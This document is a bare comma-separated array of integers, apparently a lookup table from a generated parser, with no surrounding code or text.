2,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42516,42516,42516,42516,46123,30288,30286,49299,30156,51124,22408,22410,49308,30152,46133,51161,51174,21040,42516,42516,42516,27632,42516,42516,31797,42516,42516,42516,42516,42516,42516,42516,32629,20505,20792,18990,21068,19019,18919,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,51190,25598,18486,18508,19308,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42516,42516,42516,42516,48069,42516,42516,30409,42516,25917,39868,39877,51215,51230,51237,29448,51253,21040,42516,42516,42516,27632,42516,42516,51474,42516,42516,42516,23517,42516,42516,23514,32629,20505,21066,18953,21068,18866,18919,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42516,42516,42516,42516,36374,42516,42516,42516,42516,31102,50349,51296,51323,51307,51330,32370,51346,21040,42516,42516,42516,27632,42516,42516,51474,51382,42516,26083,42516,42516,42516,26079,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,51399,25598,18486,18508,21522,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42516,42516,42516,42516,48069,42516,42516,42516,42516,25917,42516,42516,42516,42516,42516,42516,42517,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,46363,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,22341,46316,46316,46316,39789,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,23494,42516,42516,45092,51424,51429,51429,51451,23492,51445,51467,42516,42516,42516,42516,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,51497,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,51190,25598,18486,18508,19308,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,51517,20264,20301,20317,20346,20333,20349,20365,51553,20397,20422,20606,20438,20453,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,94506,94506,94506,94506,94506,94506,94506,94506,94506,94506,0,94506,90409,94506,94506,94506,94506,94506,94506,94506,94506,94506,365,94506,90409,94506,94506,94506,94506,94506,94506,94506,69632,73728,94506,94506,94506,94506,94506,65536,94506,12290,3,0,0,2183168,0,0,0,90409,94506,299,300,0,2134016,303,304,304,304,304,304,304,304,0,0,0,0,0,304,0,304,1,289,3,0,0,0,295,0,0,0,0,0,0,0,0,0,0,796,0,796,0,0,0,0,0,2424832,2433024,0,0,2457600,0,0,0,0,0,0,0,0,0,0,650,0,0,0,0,0,0,0,0,0,2904064,2908160,0,0,0,0,0,0,0,0,0,0,0,1685,1686,0,1688,0,0,0,0,3117056,0,0,0,0,0,0,0,365,365,0,0,0,0,0,0,448,0,0,474,474,474,474,474,474,474,474,474,474,474,474,474,474,474,474,559,582,559,582,559,559,582,0,0,0,2138112,0,0,0,0,0,0,0,0,0,0,0,0,0,2991,0,0,0,2772992,2805760,2830336,0,2863104,2920448,0,0,0,0,0,0,0,2805760,2920448,0,0,0,0,0,0,0,2732032,0,2179072,2179072,2179072,2179072,2424832,2433024,0,0,0,0,0,2920448,0,0,0,0,0,0,0,0,0,0,0,1702,0,1704,0,0,2179072,2830336,2179072,2179072,2863104,2179072,2179072,2179072,2179072,2920448,2179072,2179072,2179072,2179072,2179072,2179072,2126737,2126737,2126737,2126737,2126737,2593681,2126737,2126737,2126737,2126737,0,914,2125824,2125824,2125824,2125824,2125824,2424832,2433024,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,0,0,2125824,2125824,2125824,2125824,2723840,2125824,2732032,2772992,2125824,2125824,2125824,2805760,2125824,2830336,2125824,2125824,2863104,2125824,2125824,2125824,2125824,2920448,2125824,2125824,2125824,2125824,2125824,2920448,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3117056,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2457600,2125824,2125824,2125824,2125824,2183168,0,0,0,0,0,0,0,0,0,0,661,0,661,0,0,0,2408448,0,0,2584576,0,0,0,0,2838528,0,0,2838528,0,0,0,0,0,2179072,2179072,2179072,2408448,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2625536,2179072,2179072,0,2125824,2125824,2125824,2408448,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3125248,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2662400,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2801664,2813952,2125824,2125824,2801664,2813952,2125824,2838528,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2461696,0,0,0,0,0,0,0,0,0,0,0,0,2600960,0,0,0,0,0,0,2441,0,0,0,0,0,0,0,0,0,0,2493,2494,0,0,2497,0,2768896,2777088,2781184,0,2822144,0,0,2883584,0,0,0,0,0,0,0,0,0,0,0,0,3055616,0,0,0,3080192,3100672,3104768,0,0,0,0,3186688,0,0,0,0,0,0,0,307,204800,0,0,0,0,0,0,0,0,0,111051,111051,111051,111051,111051,111051,111051,111051,1,0,0,0,0,0,2797568,0,0,0,0,0,0,0,2850816,2867200,0,0,0,0,0,441,0,0,332,468,468,468,468,468,468,468,468,468,468,468,468,468,468,468,468,0,0,3133440,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2131,0,0,0,0,0,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2461696,2465792,2179072,2768896,2777088,2781184,2797568,2822144,2179072,2179072,2179072,2883584,2179072,2912256,2179072,2179072,2179072,2179072,2179072,2179072,2523136,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2600960,0,0,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2461696,2465792,2125824,0,1142784,0,2179072,2125824,2125824,2179072,2179072,2179072,2179072,2179072,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2592768,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,0,24576,988,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2523136,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2600960,2125824,0,2125824,2125824,2125824,2125824,2125824,0,0,0,0,0,0,0,0,0,0,541,1272,541,541,541,541,2125824,2125824,2125824,2641920,2125824,2125824,2125824,2125824,2125824,2125824,2719744,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,0,2125824,2125824,2125824,2125824,2125824,2125824,299,0,0,0,299,0,300,0,0,0,2768896,2777088,2781184,2797568,2822144,2125824,2125824,2125824,2883584,2125824,2912256,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,0,2125824,2126812,2125824,2125824,2125824,2125824,2125824,2125824,3133440,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3207168,2125824,0,0,0,2179072,2125824,2125824,2179072,2179072,2179072,2179072,2179072,2125824,2125824,2125824,2125824,0,0,0,0,0,0,2510848,2514944,0,0,2125824,2125824,3133440,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3207168,2125824,2179072,2125824,0,2125824,2125824,2125824,2125824,2125824,0,0,0,0,0,0,300,0,0,0,0,0,0,2764,0,0,0,0,0,0,0,0,0,0,2059,2060,0,2062,2063,0,0,0,0,2605056,0,0,0,0,2887680,0,2924544,0,0,0,0,0,0,0,2108,0,0,0,0,0,0,0,0,0,0,0,0,0,1177,0,0,0,0,0,0,3162112,3170304,0,0,3219456,3035136,0,0,0,0,0,3072e3,3190784,0,0,0,0,0,0,0,0,2576384,0,0,0,0,0,0,0,334,0,0,334,0,0,334,0,0,0,0,0,0,0,2387968,0,0,0,0,0,0,0,0,0,0,0,2050,0,0,0,0,3121152,3141632,0,0,0,2924544,0,2682880,0,0,0,0,0,0,3112960,2387968,2924544,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,3035136,2179072,2179072,3072e3,2179072,2179072,2179072,2179072,2699264,2179072,2715648,2179072,2723840,2179072,2732032,2772992,2179072,2179072,2179072,2805760,3121152,2179072,2179072,3141632,2179072,2179072,2179072,3170304,2179072,2179072,3190784,3194880,2179072,0,0,0,0,0,0,541,1734,541,541,541,541,541,541,1740,541,2125824,3190784,3194880,2125824,0,0,0,0,0,0,2387968,2125824,2125824,2125824,2420736,2125824,2125824,2125824,2125824,2125824,2453504,2125824,2473984,2125824,2736128,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2887680,2125824,2125824,2924544,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,0,0,0,2125824,2125824,2125824,2125824,2125824,3141632,2125824,2125824,2125824,3170304,2125824,2125824,3190784,3194880,2125824,2179072,2125824,2125824,2179072,2179072,2179072,2179072,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,299,0,300,3112960,3219456,2125824,2125824,3112960,3219456,2125824,2125824,3112960,3219456,0,0,0,0,0,0,0,347,0,405,0,0,0,0,0,405,3022848,0,0,3145728,0,3203072,0,0,0,0,0,0,0,0,0,0,0,2072,0,0,0,0,0,0,0,3067904,0,0,0,0,0,0,0,0,0,0,0,0,0,3003,0,0,0,0,0,2621440,0,3182592,2899968,0,2961408,0,0,2179072,2179072,2416640,2179072,2179072,2179072,2179072,2928640,2179072,2179072,2179072,2998272,2179072,2179072,2179072,2179072,3059712,2179072,2179072,2179072,2179072,3178496,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2494464,2125824,2125824,0,2179072,2125824,2125824,0,2179072,2125824,2125824,2985984,2985984,2985984,2985984,0,0,0,0,0,0,2490,0,0,0,0,0,0,0,0,0,335,0,0,0,0,0,0,2179072,2445312,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2551808,2179072,2179072,2179072,2179072,3178496,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2495377,2126737,2126737,2126737,2126737,2126737,3179409,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2495451,2126811,2895872,2916352,2179072,2179072,2945024,2179072,2179072,2994176,2179072,3002368,2179072,2179072,3022848,2179072,3067904,3084288,2125824,3096576,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3223552,0,0,2125824,2125824,2416640,3096576,2179072,2179072,2179072,2179072,2179072,2179072,2179072,3223552,0,0,2125824,2125824,2416640,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3035136,2125824,2125824,3072e3,2125824,2125824,2125824,3121152,2125824,2125824,3141632,2125824,2125824,2125824,3170304,2125824,2125824,2125824,2125824,2445312,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2551808,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2637824,2125824,2125824,2125824,2125824,2727936,2752512,2125824,2125824,2125824,2125824,2842624,2846720,2842624,2846720,2125824,2895872,2916352,2125824,2125824,2945024,2125824,2125824,2994176,2125824,3002368,2125824,2125824,3022848,2125824,3067904,2125824,3067904,3084288,2125824,3096576,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3223552,2179072,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3039232,2125824,3063808,2125824,2125824,2125824,2125824,2125824,3100672,2547712,2596864,0,0,0,0,0,0,0,0,0,0,0,0,0,3178496,2670592,0,2744320,0,0,0,0,0,2928640,0,0,0,3059712,0,2543616,2666496,0,2633728,0,0,0,0,0,0,2494464,0,0,0,0,0,0,0,0,0,2780,0,0,0,0,2785,0,0,0,0,2957312,0,0,0,0,0,0,0,0,0,0,0,0,0,3188,0,0,0,0,3211264,0,0,0,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2494464,2179072,2179072,2179072,2707456,2179072,2736128,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2887680,2179072,2179072,2179072,2179072,2641920,2179072,2179072,2179072,2179072,2179072,2179072,2719744,2179072,2179072,2179072,2179072,2179072,2179072,2179072,3137536,2126737,2126737,2499473,2126737,2126737,2126737,2556817,2565009,2179072,2514944,2179072,2179072,2179072,2543616,2547712,2179072,2179072,2596864,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,3039232,2179072,3063808,2179072,2179072,2179072,2179072,3100672,2125824,2125824,2125824,2125824,2125824,3178496,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2494464,2125824,0,2125824,2125824,2125824,2125824,2125824,0,0,0,0,1080,1084,0,0,1088,2125824,2514944,2125824,2125824,2125824,2543616,2547712,2125824,2125824,2596864,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2928640,2125824,2125824,2125824,2998272,2125824,2125824,2125824,2125824,3059712,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3178496,2179072,2125824,2125824,2179072,2179072,2125824,2125824,2125824,2125824,0,2486272,0,0,0,0,0,2678784,2854912,3006464,2441216,0,0,0,0,0,0,0,0,0,2932736,2965504,0,0,3076096,0,0,0,0,0,444,0,0,0,0,0,0,0,0,0,0,407,0,0,0,0,0,0,2695168,3174400,2646016,2613248,2703360,0,0,0,0,2977792,0,0,3047424,3129344,0,0,0,0,0,645,0,0,648,649,0,0,0,0,0,0,0,725,0,0,0,0,0,0,0,0,0,743,0,0,0,0,0,0,0,0,0,0,0,0,2769,0,0,0,2981888,2396160,0,3153920,0,0,0,0,0,0,0,0,2740224,0,0,0,0,0,0,541,3027,541,541,541,541,541,541,541,541,541,2584,541,541,541,0,0,0,0,0,2793472,0,0,0,0,0,2469888,2506752,2756608,0,0,2580480,0,0,0,0,0,0,2517,0,0,0,0,0,0,0,0,541,541,541,3029,541,541,541,541,541,541,0,2396160,2400256,2179072,2179072,2441216,2179072,2469888,2179072,2179072,2179072,2519040,2179072,2179072,2179072,2179072,2179072,2179072,2801664,2813952,2179072,2838528,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2453504,2179072,2473984,2482176,2179072,2179072,2179072,2179072,2588672,2179072,2613248,2646016,2179072,2179072,2695168,2756608,2179072,2179072,2179072,2932736,2179072,2179072,2179072,2179072,2179072,3117056,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2584576,2179072,2179072,2125824,2125824,2125824,2519040,2125824,2125824,2125824,2125824,2588672,2125824,2613248,2646016,2125824,2125824,2695168,2756608,2125824,2125824,2125824,2125824,2932736,2125824,2125824,2125824,2125824,2125824,2932736,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3129344,2125824,2125824,3153920,3166208,3174400,2506752,2506752,2506752,0,3108864,3198976,0,0,3043328,0,3149824,2936832,0,2760704,3180,2437120,0,0,0,0,0,0,646,0,0,0,0,651,652,653,654,655,0,0,0,0,0,2953216,0,0,2826240,3158016,2428928,0,3018752,2764800,2572288,0,0,0,0,0,677,0,0,0,0,0,0,0,0,0,0,0,2741,0,0,0,0,0,3051520,2179072,2428928,2437120,2179072,2486272,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2654208,2678784,2760704,2764800,2854912,2969600,2179072,3006464,2179072,3018752,2179072,2179072,2179072,3149824,2125824,2428928,2437120,2969600,2125824,3006464,2125824,3018752,2125824,2125824,2125824,2125824,3149824,2125824,2428928,2437120,2125824,2486272,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2654208,2678784,2760704,2764800,2785280,2854912,2969600,2125824,3006464,2125824,3018752,2125824,2125824,2125824,2125824,3149824,2179072,3051520,2125824,3051520,2125824,3051520,0,2490368,2498560,0,0,0,0,2875392,0,0,0,3180,0,0,0,0,0,0,2834432,0,3227648,2568192,2564096,0,2940928,2179072,2179072,2498560,2179072,2179072,2179072,2555904,2564096,2179072,2179072,2179072,2617344,2179072,2179072,2179072,2179072,2179072,2179072,2662400,2179072,2179072,2179072,2179072,2179072,2179072,2179072,3137536,2125824,2125824,2498560,2125824,2125824,2125824,2555904,2564096,2125824,2555904,2564096,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3137536,2940928,2940928,0,0,0,0,0,2748416,2879488,0,0,0,0,0,0,0,0,0,2519,0,0,0,0,0,541,2940928,0,0,0,0,0,2748416,2879488,0,3180,0,0,0,0,0,0,0,375,0,0,0,0,0,0,0,360,0,0,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2125824,0,2502656,0,0,3010560,0,0,0,0,0,0,0,0,2990080,2179072,2179072,2179072,3129344,2179072,2179072,3153920,3166208,3174400,2396160,2400256,2125824,2125824,2441216,2125824,2469888,2125824,2125824,2125824,2519040,2125824,2125824,2179072,2502656,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,3010560,2179072,2179072,2125824,2125824,2125824,2125824,2125824,2125824,2605056,2125824,2629632,2125824,2125824,2650112,2125824,2125824,2125824,2707456,2125824,2736128,2125824,2125824,2125824,2125824,2125824,2502656,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3010560,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3137536,2125824,2125824,2498560,2125824,2125824,2502656,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3010560,2125824,2125824,2125824,0,0,0,0,0,0,2739,0,0,0,0,0,0,0,2743,0,0,0,2592768,0,0,0,0,0,0,2179072,2179072,2179072,2179072,2179072,2592768,2179072,2179072,2179072,3129344,2179072,2179072,3153920,3166208,3174400,2397073,2401169,2126737,2126737,2442129,2126737,2470801,2125824,2125824,2449408,0,2535424,3031040,2859008,0,0,0,0,0,2179072,2449408,2179072,2535424,2179072,2609152,2179072,2859008,2179072,2179072,2179072,3031040,2125824,2449408,2125824,2535424,2125824,2609152,2125824,2859008,2125824,2125824,2125824,3031040,2125824,2125824,2449408,2125824,2535424,2125824,2609152,2125824,2859008,2125824,2125824,2125824,0,2179072,2125824,2125824,2457600,2179072,2179072,2179072,2179072,2457600,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2179072,2125824,2125824,2179072,2179072,2179072,2179072,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,0,0,0,0,0,0,0,0,0,0,0,1727,0,0,1728,0,3031040,2125824,2527232,0,0,0,0,0,2179072,2527232,2179072,2179072,2179072,2179072,2179072,2125824,2126738,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3125248,2125824,2125824,2125824,2125824,2125824,2527232,2125824,2125824,2125824,2125824,2125824,3092480,2125824,2527232,2125824,2125824,2125824,2125824,2125824,3092480,0,0,0,0,0,693,0,0,0,0,0,0,365,365,365,0,0,0,0,0,707,708,0,0,0,0,0,714,0,0,0,0,0,0,703,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3020,3026944,0,0,0,2404352,2179072,2179072,2179072,2179072,3026944,2404352,2125824,2125824,2125824,2125824,3026944,0,2539520,0,2949120,2179072,2658304,2973696,2179072,2125824,2658304,2973696,2125824,2125824,2658304,2973696,2125824,0,2711552,256e4,2179072,256e4,2125824,256e4,2125824,0,2179072,2179072,2531328,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2605056,2179072,2629632,2179072,2179072,2650112,0,0,2809856,0,0,0,0,0,0,0,0,0,0,3088384,0,0,0,0,0,442,0,0,454,470,470,470,470,470,470,470,470,470,470,480,470,470,470,470,470,111051,111051,111051,111051,111051,111051,111051,111051,111051,111051,111051,111051,111051,111051,111051,111051,459,459,111051,459,459,459,459,459,459,459,459,459,111051,111051,111051,111051,111051,111051,111051,111051,111051,111051,459,111051,111051,111051,459,111051,111051,111051,111051,111051,0,0,0,0,0,0,0,0,0,2795,0,0,0,0,0,0,12290,3,0,0,2183168,0,0,0,0,0,299,300,0,2134016,303,304,2125824,1060,0,0,2179072,2125824,2125824,2179072,2179072,2179072,2179072,2179072,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,1060,2125824,2125824,2125824,2125824,2125824,0,0,0,0,0,0,0,0,0,0,662,0,662,0,0,0,0,303,118784,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2434,0,303,303,303,303,303,303,303,0,0,0,0,0,303,0,303,1,12290,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2155,0,12290,3,0,0,2183168,0,0,0,0,0,33403,300,0,2134016,49791,304,2105632,12290,3,0,0,294,0,0,0,0,294,0,0,0,0,0,0,0,2124,0,0,0,0,0,0,0,0,0,788,814,0,814,809,0,0,0,122880,122880,122880,122880,122880,122880,122880,122880,122880,122880,122880,122880,122880,122880,122880,0,0,0,122880,0,122880,122880,122880,0,0,0,0,0,122880,0,0,122880,0,0,0,0,0,0,0,0,122880,0,0,0,0,0,0,0,0,0,0,0,0,3002,0,0,0,0,0,0,0,0,122880,122880,122880,122880,122880,122880,122880,122880,122880,0,0,122880,0,0,0,0,0,0,0,0,0,0,712,0,0,0,716,0,0,0,147456,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2459,0,1092,0,2424832,2433024,0,0,2457600,0,0,0,0,0,0,0,0,0,0,728,0,0,0,0,0,1823,2125824,2125824,2125824,2408448,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,0,1919,2125824,2125824,2125824,0,0,0,131072,0,0,0,69632,73728,0,0,0,0,0,65536,0,0,0,0,0,740,407,0,0,0,0,0,0,0,0,0,0,1158,0,0,0,0,0,0,131072,0,0,131072,131072,0,0,0,0,0,0,0,131072,0,0,131072,0,0,131072,0,0,0,0,135168,135168,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2756,0,0,0,0,135168,0,0,135168,0,0,0,0,0,0,0,0,0,0,735,0,797,0,0,0,0,0,0,0,135168,0,135168,135168,135168,135168,135168,135168,0,135168,135168,135168,135168,135168,135168,135168,0,0,0,0,0,135168,0,135168,1,12290,3,0,0,2183168,0,0,0,0,0,636,637,0,2134016,640,641,0,1361,2125824,2125824,2125824,2125824,2125824,2424832,2433024,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,0,0,987,2125824,2125824,2125824,2125824,0,304,139264,0,0,0,0,0,0,0,0,0,0,0,0,0,0,225709,0,12290,3,0,0,2183168,0,0,0,0,0,299,33406,0,2134016,303,49794,0,61440,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3178,0,304,2424832,2433024,0,0,2457600,0,0,0,0,0,0,0,0,0,0,757,0,0,0,0,762,301,301,301,143661,371,301,301,301,301,301,301,301,301,301,301,301,301,301,301,301,301,143661,301,301,143661,301,301,301,143731,301,301,301,143731,69632,73728,301,301,143661,301,301,65536,301,301,301,301,301,143661,143661,143661,143661,143661,143661,143661,143661,143661,301,301,143661,301,301,301,301,301,301,301,301,301,366,301,0,143661,301,301,301,143661,143661,143661,143661,143661,143661,143661,143661,143661,143661,143661,143661,143661,143661,143661,143661,301,301,301,143661,301,143661,143661,143661,143661,143661,143731,143661,143731,143731,143731,143731,143731,143731,143731,143661,143661,143661,143661,143661,143661,143661,143661,1,301,143661,301,143661,143661,143661,143661,143661,143661,301,0,301,0,301,301,301,301,301,301,301,301,301,143661,301,143661,143661,143661,143661,301,0,0,0,3117056,0,0,0,0,0,0,0,2200252,2200252,0,0,0,0,0,0,662,0,0,0,0,0,541,541,541,541,541,541,541,541,2168,541,541,541,0,0,0,0,0,155648,155648,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,325,0,0,0,0,155648,155648,0,155648,155648,155648,155648,155648,155648,155648,155648,155648,0,0,0,0,155648,0,0